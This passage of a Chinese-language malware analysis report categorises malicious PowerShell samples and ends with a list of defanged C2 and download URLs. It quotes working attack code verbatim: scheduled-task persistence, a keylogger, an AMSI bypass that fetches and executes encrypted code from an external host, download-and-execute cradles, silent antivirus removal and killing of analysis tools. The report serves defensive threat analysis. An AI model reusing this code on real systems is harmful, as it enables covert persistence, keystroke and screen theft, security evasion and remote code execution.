$pscode = $pscode.replace('#id#',$id);
set-content "$pathmc.ps1" $pscode
$taskstr="schtasks /create /F /sc minute /mo 2 /tn ""GoogleServiceUpdate"" /tr """"$fileout"""" ";
iex 'cmd /c $taskstr';
{{CODE}}
The base64 decoded VBScript –
{{CODE}}
set wss = CreateObject("WScript.Shell")
str = "power" & "sh" & "ell" & ".e" & "xe -NoP -sta -NonI -e" & "xe" & "c byp" & "as" & "s -fi" & "le "
path = "#dpath#"
str = str + path + "mc.ps1"
wss.Run str, 0
**4.22 DynAmite Launcher （6个样本，占比0.15%）**
**4.23 DynAmite KL（1个样本，占比0.02%）**
DynAmite是一个“恶意软件生成工具包”，可以根据用户定制功能，创建恶意软件。
DynAmite允许用户组合他们所需要的功能，生成一个PE封装文件，利用PowerShell命令执行所定制的任务。我所收集到的此类代码主要来自于公开工具，其中变量名和变量位置可以有多种不同表现。
“DynAmite
Launcher”变种通过计划任务完成本地持久化目的。以下是此类变种的三种不同表现形式，这三种样本可能由DynAmite使用不同的版本和配置生成。
schtasks.exe /create /TN "MicrosoftWindowsDynAmiteBackdoor" /XML C:WindowsTemptask.xml
schtasks.exe /create /TN "MicrosoftWindowsDynAmiteKeylogger" /XML C:WindowsTemptask2.xml
SCHTASKS /run /TN "MicrosoftWindowsDynAmiteBackdoor"
SCHTASKS /run /TN "MicrosoftWindowsDynAmiteKeylogger"
Remove-Item "C:WindowsTemp*.xml"
#create backdoor task
schtasks.exe /create /TN "MicrosoftWindowsDynAmiteDynAmite" /XML C:WindowsTempdynatask.xml
#create upload task
schtasks.exe /create /TN "MicrosoftWindowsDynAmiteUploader" /XML C:WindowsTempupltask.xml
#run backdoor task
SCHTASKS /run /TN "MicrosoftWindowsDynAmiteDynAmite"
#create registry entries for keylogger and screenspy
New-ItemProperty -path HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun -Name Keylogger -PropertyType String -Value "C:Windowsdynakey.exe"
New-ItemProperty -path HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun -Name ScreenSpy -PropertyType String -Value "C:Windowsdynascr.exe"
#run keylogger and screenspy
C:Windowsdynakey.exe
C:Windowsdynascr.exe
#cleanup temp folder
Remove-Item "C:WindowsTemp*"
$loot = ($env:LOCALAPPDATA + "dyna"); md $loot
certutil -decode res.crt ($loot + "res"); certutil -decode kl.crt ($loot + "kl.exe"); certutil -decode st.crt ($loot + "st.exe"); certutil -decode cry.crt ($loot + "cry.exe"); certutil -decode t1.crt ($env:TEMP + "t1.xml"); certutil -decode t2.crt ($env:TEMP + "t2.xml"); certutil -decode t3.crt ($env:TEMP + "t3.xml"); certutil -decode t4.crt ($env:TEMP + "t4.xml"); certutil -decode t5.crt ($env:TEMP + "t5.xml"); certutil -decode bd.crt C:ProgramDatabd.exe
schtasks.exe /create /TN "MicrosoftWindowsWindows Printer Manager1" /XML ($env:TEMP + "t1.xml")
schtasks.exe /create /TN "MicrosoftWindowsWindows Printer Manager2" /XML ($env:TEMP + "t2.xml")
schtasks.exe /create /TN "MicrosoftWindowsWindows Printer Manager3" /XML ($env:TEMP + "t3.xml")
schtasks.exe /create /TN "MicrosoftWindowsWindows Printer Manager4" /XML ($env:TEMP + "t4.xml")
schtasks.exe /create /TN "MicrosoftWindowsWindows Printer Manager5" /XML ($env:TEMP + "t5.xml")
schtasks.exe /run /TN "MicrosoftWindowsWindows Printer Manager1"
schtasks.exe /run /TN "MicrosoftWindowsWindows Printer Manager2"
schtasks.exe /run /TN "MicrosoftWindowsWindows Printer Manager3"
schtasks.exe /run /TN "MicrosoftWindowsWindows Printer Manager4"
schtasks.exe /run /TN "MicrosoftWindowsWindows Printer Manager5"
Remove-Item ($env:TEMP + "*.xml") -Recurse –Force
“DynAmite KL”变种是该套件的键盘记录器组件，但其直接来源于对老版本PowerSploit的Get-Keystrokes函数的改造升级。以下是对老版本Get-Keystrokes以及“DynAmite
KL“代码的比较，从中我们可以看出后者对变量位置及类型进行了修改。
Get-Keystrokes代码：
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
if ($TabKey) {$LogOutput += '[Tab]'}
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
if ($DeleteKey) {$LogOutput += '[Delete]'}
if ($EnterKey) {$LogOutput += '[Enter]'}
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
if ($RightMouse) {$LogOutput += '[Right Mouse]'}
DynAKey函数代码：
$LeftShift = $ImportDll::GetAsyncKeyState(160)
$RightShift = $ImportDll::GetAsyncKeyState(161)
$LeftCtrl = $ImportDll::GetAsyncKeyState(162)
$RightCtrl = $ImportDll::GetAsyncKeyState(163)
$LeftAlt = $ImportDll::GetAsyncKeyState(164)
$RightAlt = $ImportDll::GetAsyncKeyState(165)
$TabKey = $ImportDll::GetAsyncKeyState(9)
$SpaceBar = $ImportDll::GetAsyncKeyState(32)
$DeleteKey = $ImportDll::GetAsyncKeyState(127)
$EnterKey = $ImportDll::GetAsyncKeyState(13)
$BackSpaceKey = $ImportDll::GetAsyncKeyState(8)
$LeftArrow = $ImportDll::GetAsyncKeyState(37)
$RightArrow = $ImportDll::GetAsyncKeyState(39)
$UpArrow = $ImportDll::GetAsyncKeyState(38)
$DownArrow = $ImportDll::GetAsyncKeyState(34)
$LeftMouse = $ImportDll::GetAsyncKeyState(1)
$RightMouse = $ImportDll::GetAsyncKeyState(2)
if ((($LeftShift -eq -32767) -or ($RightShift -eq -32767)) -or (($LeftShift -eq -32768) -or ($RightShfit -eq -32768))) {$LogOutput += '[Shift] '}
if ((($LeftCtrl -eq -32767) -or ($LeftCtrl -eq -32767)) -or (($RightCtrl -eq -32768) -or ($RightCtrl -eq -32768))) {$LogOutput += '[Ctrl] '}
if ((($LeftAlt -eq -32767) -or ($LeftAlt -eq -32767)) -or (($RightAlt -eq -32767) -or ($RightAlt -eq -32767))) {$LogOutput += '[Alt] '}
if (($TabKey -eq -32767) -or ($TabKey -eq -32768)) {$LogOutput += '[Tab] '}
if (($SpaceBar -eq -32767) -or ($SpaceBar -eq -32768)) {$LogOutput += '[SpaceBar] '}
if (($DeleteKey -eq -32767) -or ($DeleteKey -eq -32768)) {$LogOutput += '[Delete] '}
if (($EnterKey -eq -32767) -or ($EnterKey -eq -32768)) {$LogOutput += '[Enter] '}
if (($BackSpaceKey -eq -32767) -or ($BackSpaceKey -eq -32768)) {$LogOutput += '[Backspace] '}
if (($LeftArrow -eq -32767) -or ($LeftArrow -eq -32768)) {$LogOutput += '[Left Arrow] '}
if (($RightArrow -eq -32767) -or ($RightArrow -eq -32768)) {$LogOutput += '[Right Arrow] '}
if (($UpArrow -eq -32767) -or ($UpArrow -eq -32768)) {$LogOutput += '[Up Arrow] '}
if (($DownArrow -eq -32767) -or ($DownArrow -eq -32768)) {$LogOutput += '[Down Arrow] '}
if (($LeftMouse -eq -32767) -or ($LeftMouse -eq -32768)) {$LogOutput += '[Left Mouse] '}
if (($RightMouse -eq -32767) -or ($RightMouse -eq -32768)) {$LogOutput += '[Right Mouse] '}
**（四）其他技术类别**
**4.24 AMSI Bypass（8个样本，占比0.20%）**
反恶意软件扫描接口（Antimalware Scan Interface,
AMSI）是微软在Windows10中新增的一项功能，旨在为应用程序和反病毒软件建立顺畅的通信渠道。理想情况下，应用程序（在本文中为PowerShell应用）在运行时会对从本地或远程获取到的脚本去混淆处理，通过AMSI接口传递给反病毒软件进行安全性扫描。如果反病毒软件判定脚本具有恶意性质，应用程序会阻止脚本的进一步运行。
Matt
Graeber发布了一行Twitter短文，告诉人们如何通过将“amsiInitFailed“设置为”True“来绕过AMSI机制，这种设置会让防病毒软件误以为AMSI失效从而绕过此项检查。
[ReF].ASSEmbly.GetTYpe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GeTFIElD('amsiInitFailed','NonPublic,Static').SetVAlue($Null,$True)};[SySteM.Net.SErviCEPOINTMaNAger]::ExPeCt100ConTinue=0;$wC=NEW-OBjEcT System.NET.WebClieNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HEAdERs.ADD('User-Agent',$u);$wC.PRoxY=[SYStEm.NET.WEBREQuEst]::DeFaUlTWEbProXY;$Wc.ProXY.CREDenTIALs = [SYSteM.NEt.CReDentIalCAcHe]::DeFAulTNetwORKCREdEntialS;$K=[SySTEm.TexT.EncodING]::ASCII.GETBYteS('Dv,inKZ<@{3mjG4&1k:Vcl7o)EY*J?6x');$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COuNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-Bxor$S[($S[$I]+$S[$H])%256]}};$Wc.HEaDERs.ADD("Cookie","session=Pu8sEnIpxIwINbUOVsxlL66DoHA=");$ser='http://35.165.38[.]15:80';$t='/login/process.php';$dATa=$WC.DowNLOadDAtA($ser+$T);$IV=$DaTA[0..3];$Data=$DaTa[4..$DAtA.leNgTH];-JoIn[CHAr[]](& $R $data ($IV+$K))|IEX
以上代码与PowerShell Empire中的EncryptedScriptDropper存在类似异或处理特征，可能与之直接有关，或者参考了其中部分代码。
**4.25 PowerSploit GTS（3个样本，占比0.07%）**
此类变种直接来源于PowerSploit的Get-TimedScreenshot模块。以下代码每隔两秒抓取一次屏幕截图。
function Get-TimedScreenshot
{
[CmdletBinding()] Param(
[Parameter(Mandatory=$True)]
[ValidateScript({Test-Path -Path $_ })]
[String] $Path,
[Parameter(Mandatory=$True)]
[Int32] $Interval,
[Parameter(Mandatory=$True)]
[String] $EndTime
)
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
}
Try {
#load required assembly
Add-Type -Assembly System.Windows.Forms
Do {
#get the current time and build the filename from it
$Time = (Get-Date)
[String] $FileName = "$($Time.Month)"
$FileName += '-'
$FileName += "$($Time.Day)"
$FileName += '-'
$FileName += "$($Time.Year)"
$FileName += '-'
$FileName += "$($Time.Hour)"
$FileName += '-'
$FileName += "$($Time.Minute)"
$FileName += '-'
$FileName += "$($Time.Second)"
$FileName += '.png'
[String] $FilePath = (Join-Path $Path $FileName)
Get-Screenshot
Start-Sleep -Seconds $Interval
}
While ((Get-Date -Format HH:mm) -lt $EndTime)
}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}
Get-TimedScreenshot -Path "$env:userprofileDesktop" -Interval 2 -EndTime 24:00
对于此类攻击，PowerShell代码只是攻击者在行动中使用的整套工具集中的一小部分，攻击者利用PowerShell代码以节省所需功能的研发时间。在这种攻击情况下，Excel宏文档首先会对内嵌的PowerShell进行解码运行并开始抓取屏幕截图，与此同时，宏也解码运行了其他PE文件执行后续攻击动作。
图7. Excel宏对内嵌的PowerShell脚本及PE文件进行解码
**4.26 Remove AV（2个样本，占比0.05%）**
此类变种利用PowerShell强制卸载x86系统和x64系统下的反病毒软件，它遍历注册表中程序卸载键值，查找含有“*AVG*“的条目，在后台静默卸载所找到的每个实例。
$uninstall32s = gci "HKLM:SOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;$uninstall64s = gci "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionUninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;foreach($uninstall64 in $uninstall64s) {$uninstall64 = $uninstall64.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";$uninstall64 = $uninstall64.Trim();if($uninstall64 -like "*/mode=offline*"){}else{Write-Warning $uninstall64; start-process "msiexec.exe" -args "/x $uninstall64 /qn /norestart" -Wait }};foreach($uninstall32 in $uninstall32s) {$uninstall32 = $uninstall32.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";$uninstall32 = $uninstall32.Trim();if($uninstall32 -like "*/mode=offline*"){}else{Write-Warning $uninstall32; start-process "msiexec.exe" -args "/x $uninstall32 /qn /norestart" -Wait }};
**（五）其他小众类别** ****
在对样本进行尽可能细的分类之后，还有大约100个样本无法具体归到某一类中，这些样本通常使用了上文所述技术的定制组合。在此我会对其中值得注意的一些样本做个简单描述。
**4.27 Hidden Messages**
这个样本通过PowerShell将当前时间与内置时间进行比较，如果当前时间早于内置时间，样本则放弃运行。在代码尾部，攻击者留下了一个注释以表明他们所属的黑客组。
if ((Get-Date).Ticks -lt (Get-Date -Date '18-jan-2017 00:00:00').Ticks) {(New-Object System.Net.WebClient).DownloadFile('http://drobbox-api.dynu[.]com/update',"$env:tempupdate");Start-Process pythonw.exe "$env:tempupdate 31337"};#NIXU17{pow3r_t0_the_sh3lls}
另一个样本也留下了一些隐藏信息，如下所示：
while($true){Start-Sleep -s 120; $m=New-Object System.Net.WebClient;$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;$m.Headers.Add('user-agent', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)'); iex(($m.downloadstring('
https://raw.githubusercontent.com/rollzedice/js/master/drupal.js
')));}
分析该样本从GitHub上所下载的drupal.js文件，该脚本文件会终止PowerShell进程，并输出“Hello SOC/IR team!
:-)“信息。鉴于文件中多处使用了“Test”字符串，我认为它可能是渗透测试或攻防演练中所用的脚本文件。
图8. 结束PowerShell进程的JavaScript文件
**4.28 Process Killing**
此样本使用PowerShell完成特定目的，通常用来终止与恶意软件分析相关的多个进程。
kill -processname Taskmgr, ProcessHacker*, Procmon*, Procexp*, Procdump* -force
**4.29 Layers of Obfuscation**
这是本文分析的最后一个样本，它似乎与“PowerSploit GTS”变种中的代码有关，两者使用的原始宏基本一致，但此样本没有使用“PowerSploit
GTS”的其他代码。
该样本使用多层混淆技术以掩盖其攻击行为。
第一层：
带有宏的Excel文档从单元格中提取base64编码的数据，将数据传递给PowerShell的EncodedCommand参数加以运行。
第二层：
解码后的base64数据是一长串int类型数组，转换为char型字符串后作为另一个PowerShell脚本运行。
-JOIn (( 32 ,32 , 36 ,86 ,115 , 110 , 50,108 , 54, 32 ,61 , 32,32 , 91,116,121,112,101, 93 ,40 ,34,123 ,51 , 125 , 123, 48 ,125, 123, 49, 125, ,53, 45 ,49, 54,55 , 45,39, 44 ,39 ,101 , 46 , 97, 109, 97 , 122 ,111,110 ,97, 39, 44, 39 ,53,39, 44,39, 119 , 115, 46, 99 , 111 , 109 ,58, 56 , 48 , 39 ,44 ,39,45 , 119, 101 ,115 , 39,41, 41 , 59)|%{([inT]$_-AS [chAr]) } ) | iex
第三层：
解码后的数据使用了多种技术对自身进行混淆处理。第一种技术是在其他字符之间插入反引号字符，该字符将在运行时被忽略。这种技术与命令行中的字符注入技术类似。
第二种技术是在其他脚本语言中常见的技术，通过将字符串拆分为随机列表，通过调用特定值完成原始字符串的重建。
$Vsn2l6 = [type]("{3}{0}{1}{2}" -F'UE','S','t','Net.webreq') ; $h69Q4 =[TYPe]("{1}{2}{3}{4}{0}"-F 'he','nEt.C','REDeNtialC','a','c') ; ${J}=&("{0}{1}{2}"-f 'new-obj','ec','t') ("{2}{1}{0}{3}" -f 'eb','.w','net','client');${j}."PRo`XY"= ( VaRIablE vsn2L6 ).VaLuE::("{0}{3}{2}{4}{1}"-f'GetS','Proxy','em','yst','Web').Invoke();${j}."pr`OXY"."C`RE`De`NTiALs"= ( GeT-VariaBle H69Q4).VaLUe::"DE`Faultcred`en`TI`ALS";.("{0}{1}"-f 'I','EX') ${J}.("{1}{3}{2}{0}" -f 'string','do','load','wn').Invoke(("{3}{1}{9}{11}{8}{13}{0}{4}{15}{5}{10}{2}{12}{14}{7}{6}" -f'5','tp://','mput','ht','.us','t','0/anSfrf','8','185-','e','-2.co','c2-35-167-','e.amazona','5','ws[.]com:80','-wes'));
以下是对代码进行清理后的版本，可知其功能是远程下载代码并通过Invoke-Expression执行代码。
$Vsn2l6 = [type]Net.webreqUESt;
$h69Q4 = [TYPe]nEt.CREDeNtialCache;
&new-object net.webclient;
PRoXY= $Vsn2l6.VaLuE::GetSystemWebProxy.Invoke();
prOXY.CREDeNTiALs = ( GeT-VariaBle $h69Q4 ).VaLUe::DEFaultcredenTIALS;
.IEX downloadstring.Invoke(http://ec2-35-167-185-55.us-west-2.compute.amazonaws[.]com:8080/anSfrf);
**五、结论**
PowerShell是一个强大的脚本框架，可以提供很多功能，不管是防御方面的功能还是攻击方面的功能。希望本文能够覆盖当前工具和攻击中PowerShell所使用的一些先进技术点。
通过本文所分析的样本，我们可知大多数攻击活动依然依赖于公共工具的使用，这也在我们的意料之中。随着PowerShell框架不断得到探索和成熟，我认为在将来人们可以看到利用PowerShell开展攻击的更多形态。随着对PowerShell使用方式的逐步创新，攻击者将开始使用PowerShell以利用系统的更多原生功能，而不仅仅是现阶段对PowerShell常见功能的使用。
**六、捕获的C2服务器地址或下载链接**
6.1 Downloader DFSP
675hxxp://94[.]102.53.238/~yahoo/csrsv.exe
244hxxp://89[.]248.170.218/~yahoo/csrsv.exe
132hxxp://94[.]102.58.30/~trevor/winx64.exe
70hxxp://80[.]82.64.45/~yakar/msvmonr.exe
24hxxp://89[.]248.166.140/~zebra/iesecv.exe
18hxxp://cajos[.]in/0x/1.exe
14hxxp://93[.]174.94.137/~karma/scvhost.exe
6hxxp://ddl7[.]data.hu/get/0/9507148/Patload.exe
5hxxp://nikil[.]tk/p1/Pa_001.exe
5hxxp://185[.]45.193.17/update.exe
5hxxp://185[.]141.27.28/update.exe
4hxxps://a[.]pomf.cat/xsakpo.exe
4hxxp://185[.]141.27.35/update.exe
3hxxp://www[.]macwizinfo.com/updates/anna.exe
3hxxp://worldnit[.]com/opera.exe
3hxxp://doc[.]cherrycoffeeequipment.com/nw/logo.png
3hxxp://185[.]141.25.142/update.exe
3hxxp://185[.]117.75.43/update.exe
3hxxp://185[.]106.122.64/update.exe
2hxxp://185[.]141.25.243/file.exe
2hxxp://185[.]141.27.32/update.exe
2hxxp://185[.]141.27.34/update.exe
2hxxp://andersonken4791[.]pserver.ru/doc.exe
2hxxp://boisedelariviere[.]com/backup/css/newconfig.exe
2hxxp://brokelimiteds[.]in/wp-admin/css/upload/Order.exe
2hxxp://ddl7[.]data.hu/get/0/9499830/money.exe
2hxxp://fetzhost[.]net/files/044ae4aa5e0f2e8df02bd41bdc2670b0.exe
2hxxp://hnng[.]moe/f/InX
2hxxp://hnng[.]moe/f/Iot
2hxxp://labid[.]com.my/m/m1.exe
2hxxp://labid[.]com.my/power/powex.exe
2hxxp://labid[.]com.my/spe/spendy.exe
2hxxp://lvrxd[.]3eeweb.com/nano/Calculator.exe
2hxxp://matkalv[.]5gbfree.com/loso/fasoo.exe
2hxxp://net[.]gethost.pw/windro.exe
2hxxp://nikil[.]tk/i1/iz_001.exe
2hxxp://rgho[.]st/68lJcGFLW
2hxxp://rgho[.]st/6hrkjYlX4
2hxxp://toxicsolutions[.]ru/upload/praisefud.exe
2hxxp://worldnit[.]com/KUKU.exe
2hxxp://worldnit[.]com/kundelo.exe
2hxxp://worldnit[.]com/operamini.exe
2hxxp://www[.]wealthandhealthops.com/modules/mod_easyblogquickpost/lawdsijdoef.exe
2hxxps://a[.]pomf.cat/drktzz.exe
2hxxps://a[.]pomf.cat/dwnysn.exe
2hxxps://a[.]pomf.cat/dwnysn.exe
2hxxps://a[.]pomf.cat/hsmqrh.exe
2hxxps://a[.]pomf.cat/mjnspx.exe
2hxxps://a[.]pomf.cat/pabfzv.exe
2hxxps://a[.]pomf.cat/qolcls.exe
2hxxps://a[.]pomf.cat/tpaesb.exe
2hxxps://a[.]pomf.cat/ultxkr.exe
2hxxps://a[.]pomf.cat/vhcwbo.exe
2hxxps://a[.]pomf.cat/vjadwb.exe
2hxxps://a[.]pomf.cat/wopkwj.exe
2hxxps://a[.]pomf.cat/yspcsr.exe
2hxxps://www[.]dropbox.com/s/gx6kxkfi7ky2j6f/Dropbox.exe?dl=1
1hxxp://185[.]106.122.62/file.exe
1hxxp://185[.]45.193.169/update.exe
1hxxp://31[.]184.234.74/crypted/1080qw.exe
1hxxp://aircraftpns[.]com/_layout/images/sysmonitor.exe
1hxxp://allbestunlockerpro[.]com/flash.player.exe
1hxxp://anonfile[.]xyz/f/3d0a4fb54941eb10214f3c1a5fb3ed99.exe
1hxxp://anonfile[.]xyz/f/921e1b3c55168c2632318b6d22a7bfe6.exe
1hxxp://brokelimiteds[.]in/wp-admin/css/upload/ken1.exe
1hxxp://cajos[.]in/0x/1.exe
1hxxp://danhviet[.]com.vn/app/p2.exe
1hxxp://danhviet[.]com.vn/z/v/doc.exe
1hxxp://daratad[.]5gbfree.com/uses/word.exe
1hxxp://ddl2[.]data.hu/get/0/9589621/k000.exe
1hxxp://ddl3[.]data.hu/get/0/9535517/yhaooo.exe
1hxxp://ddl3[.]data.hu/get/0/9551162/ske.exe
1hxxp://ddl7[.]data.hu/get/0/9552103/PFIfdp.exe
1hxxp://getlohnumceders[.]honor.es/kimt.exe
1hxxp://hinrichsen[.]de/assets/win1/win1.exe
1hxxp://icbg-iq[.]com/Scripts/kinetics/categories/3rmax.exe
1hxxp://khoun-legal[.]com/download/ctob.exe
1hxxp://kiana[.]com/flowplayer/aquafresh.exe
1hxxp://labid[.]com.my/power/powex.exe
1hxxp://matkalv[.]5gbfree.com/calab/calafile.exe
1hxxp://matkalv[.]5gbfree.com/noza/odeee.exe
1hxxp://matkalv[.]5gbfree.com/owee/owe.exe
1hxxp://matkalv[.]5gbfree.com/vosa/doc.exe
1hxxp://nikil[.]tk/b1/bo_001.exe
1hxxp://nikil[.]tk/k1/ik_001.exe
1hxxp://sukem[.]zapto.org/word.exe
1hxxp://trolda[.]5gbfree.com/fosee/doc.exe
1hxxp://worldnit[.]com/aba.exe
1hxxp://worldnit[.]com/aba.exe
1hxxp://worldnit[.]com/abacoss.exe
1hxxp://worldnit[.]com/abuchi.exe
1hxxp://worldnit[.]com/com.exe
1hxxp://worldnit[.]com/com.exe
1hxxp://worldnit[.]com/compu.exe
1hxxp://worldnit[.]com/comu.exe
1hxxp://worldnit[.]com/firefox32.exe
1hxxp://worldnit[.]com/igbo.exe
1hxxp://worldnit[.]com/immo.exe
1hxxp://worldnit[.]com/kele.exe
1hxxp://worldnit[.]com/kelle.exe
1hxxp://worldnit[.]com/kells.exe
1hxxp://worldnit[.]com/kuku.exe
1hxxp://worldnit[.]com/nigga.exe
1hxxp://worldnit[.]com/nigga.exe
1hxxp://worldnit[.]com/office.exe
1hxxp://worldnit[.]com/pony.exe
1hxxp://worldnit[.]com/seccrypt.exe
1hxxp://worldnit[.]com/sect.exe
1hxxp://www[.]athensheartcenter.com/crm/cgi-bin/lnm.exe
1hxxp://www[.]bryonz.com/emotions/files/lnwe.exe
1hxxp://www[.]fluidsystems.ml/P1/Pa_001.exe
1hxxp://www[.]macwizinfo.com/updates/eter.exe
1hxxp://www[.]matrimonioadvisor.it/pariglia.exe
1hxxp://www[.]pelicanlinetravels.com/images/xvcbkty.exe
1hxxp://www[.]telemedia.co.za/wp-content/ozone/slim.exe
1hxxp://www[.]wealthandhealthops.com/modules/mod_easybloglist/kntgszu.exe
1hxxp://www[.]wvhmedicine.ru/1/P2.exe
1hxxps://1fichier[.]com/?hfshjhm0yf
1hxxps://1fichier[.]com/?v8w3g736hj
1hxxps://a[.]pomf.cat/jfyywz.exe
1hxxps://a[.]pomf.cat/klckcp.exe
1hxxps://a[.]pomf.cat/wopkwj.exe
1hxxps://a[.]pomf.cat/yhggkj.exe
1hxxps://dryversdocumentgritsettings[.]com/javaupdat3s2016.exe
1hxxps://megadl[.]fr/?b5r5bstqd1
1hxxps://srv-file1[.]gofile.io/download/SJLKaG/84.200.65.20/wscript.exe
6.2 PowerShell Empire
39hxxp://198[.]18.133.111:8081/index.asp
8hxxp://95[.]211.139.88:80/index.asp
5hxxps://46[.]101.90.248:443/index.asp
5hxxp://microsoft-update7[.]myvnc.com:443/index.asp
5hxxp://145[.]131.7.190:8080/index.asp
3hxxps://52[.]39.227.108:443/index.asp
3hxxp://vanesa[.]ddns.net:443/index.asp
3hxxp://polygon[.]1dn0.xyz/index.asp
3hxxp://159[.]203.18.172:8080/index.asp
2hxxps://dsecti0n[.]gotdns.ch:8080/index.asp
2hxxps://69[.]20.66.229:9443/index.asp
2hxxps://50[.]3.74.72:8080/index.asp
2hxxps://205[.]232.71.92:443/index.asp
2hxxp://hop[.]wellsfargolegal.com/index.asp
2hxxp://ciagov[.]gotdns.ch:8080/index.asp
2hxxp://chgvaswks045[.]efgz.efg.corp:888/index.asp
2hxxp://ads[.]mygoogle-analytics.com:80/index.asp
2hxxp://84[.]200.84.185:443/index.asp
2hxxp://84[.]14.146.74:443/index.asp
2hxxp://66[.]11.115.25:8080/index.asp
2hxxp://64[.]137.176.174:12345/index.asp
2hxxp://52[.]28.242.165:8080/index.asp
2hxxp://52[.]19.131.17:80/index.asp
2hxxp://23[.]239.12.15:8080/index.asp
2hxxp://212[.]99.114.202:443/count.php?user=
2hxxp://188[.]68.59.11:8081/index.asp
2hxxp://185[.]117.72.45:8080/index.asp
2hxxp://163[.]172.175.132:8089/index.asp
2hxxp://159[.]203.89.248:80/index.asp
2hxxp://14[.]144.144.66:8081/index.asp
2hxxp://103[.]238.227.201:7788/index.asp
1hxxps://www[.]enterprizehost.com:9443/index.asp
1hxxps://sixeight[.]av-update.com:443/index.asp
1hxxps://remote-01[.]web-access.us/index.asp
1hxxps://msauth[.]net/index.asp
1hxxps://metrowifi[.]no-ip.org:8443/index.asp
1hxxps://megalon[.]trustwave.com:443/index.asp
1hxxps://mail[.]microsoft-invites.com/index.asp
1hxxps://logexpert[.]eu/index.asp
1hxxps://host-101[.]ipsec.io/index.asp
1hxxps://93[.]176.84.45:443/index.asp
1hxxps://93[.]176.84.34:443/index.asp
1hxxps://66[.]60.224.82:443/index.asp
1hxxps://66[.]192.70.39:443/index.asp
1hxxps://66[.]192.70.38:80/index.asp
1hxxps://52[.]86.125.177:443/index.asp
1hxxps://50[.]251.57.67:8080/index.asp
1hxxps://46[.]101.203.156:443/index.asp
1hxxps://46[.]101.185.146:8080/index.asp
1hxxps://45[.]63.109.205:8443/index.asp
1hxxps://172[.]30.18.11:443/index.asp
1hxxps://146[.]148.58.157:8088/index.asp
1hxxps://108[.]61.211.36/index.asp
1hxxps://107[.]170.132.24:443/index.asp
1hxxps://104[.]131.182.177:443/index.asp
1hxxp://sparta34[.]no-ip.biz:443/index.asp
1hxxp://securetx[.]ddns.net:3333/index.asp
1hxxp://pie32[.]mooo.com:8080/index.asp
1hxxp://m[.]jdirving.email:21/index.asp
1hxxp://kooks[.]ddns.net:4444:4444/index.asp
